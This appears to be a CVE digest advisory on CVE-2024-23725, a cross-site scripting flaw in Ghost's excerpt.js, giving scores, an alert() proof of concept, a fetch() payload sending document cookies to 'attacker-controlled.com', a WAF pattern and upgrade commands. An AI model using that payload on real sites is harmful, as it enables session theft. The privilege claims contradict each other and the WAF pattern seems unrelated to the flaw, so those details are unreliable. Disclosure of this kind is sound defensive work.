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The vulnerability CVE-2024-23725 is a Cross-site Scripting (XSS) issue found in Ghost versions before 5.76.0, specifically within the `excerpt.js` component . It works by allowing an attacker to inject a malicious script payload into a post excerpt . When the Ghost platform generates a post summary, the `excerpt.js` script fails to properly neutralize or sanitize this user-controllable input . Consequently, the malicious JavaScript code is rendered and executed in the browser of any user viewing the affected post summary . This execution occurs within the security context of the vulnerable web application, enabling the attacker to potentially steal session cookies, access sensitive data, or perform unauthorized actions on behalf of the victim . The vulnerability is remotely exploitable over the network without requiring any privileges, though it does require some user interaction to view the malicious content .
dailycve form:
Platform: Ghost
Version: <5.76.0
Vulnerability: XSS
Severity: Medium
Date: 2024-01-21
Prediction: 2024-01-21
What Undercode Say:
Analytics:
The vulnerability is present in Ghost versions before 5.76.0 . It was published on January 21, 2024 . According to the CVSS v3.1 vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N), it requires no privileges and low attack complexity, but user interaction is necessary . The EPSS (Exploit Prediction Scoring System) probability is estimated at 0.05% , placing it in the 19th percentile of vulnerabilities, indicating a relatively low immediate threat of exploitation in the wild at the time of analysis .
Exploit:
A Proof of Concept (PoC) for this XSS vulnerability involves crafting a malicious post excerpt. An attacker with author-level access (or higher) could create a post and insert a JavaScript payload into the excerpt field.
<!-- Example payload for the post excerpt -->
<script>alert('CVE-2024-23725 XSS');</script>
When this excerpt is rendered by the `excerpt.js` script in a victim’s browser, the JavaScript code will execute. More sophisticated payloads could be used to steal cookies or session tokens.
// Example payload to steal a document cookie
<script>fetch('https://attacker-controlled.com/steal?cookie=' + document.cookie);</script>
A temporary server-side workaround to block malicious requests is to use a WAF rule that filters for the encoded pattern `slug%3A%5B` or the plaintext pattern `slug:[` in the query string filter parameter .
Protection from this CVE:
The primary and most effective protection is to upgrade Ghost to version 5.76.0 or later . The patch was released in version 5.76.0 .
Command to update Ghost to the latest version npm install ghost@latest Or specifically to the patched version npm install [email protected]
If an immediate upgrade is not possible, a temporary mitigation is to implement a Web Application Firewall (WAF) rule to block requests containing the patterns `slug:[` or `slug%3A%5B` in the query string filter parameter . Additionally, ensure proper output encoding and input sanitization are in place as per security best practices to prevent XSS .
Impact:
Successful exploitation of this XSS vulnerability allows an attacker to execute arbitrary JavaScript code in the context of a victim’s browser . The impact is moderate, with potential for low confidentiality and integrity impact according to its CVSS score . This can lead to session hijacking, theft of sensitive information displayed on the page, or defacement of the web application for the victim user .
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Sources:
Reported By: github.com
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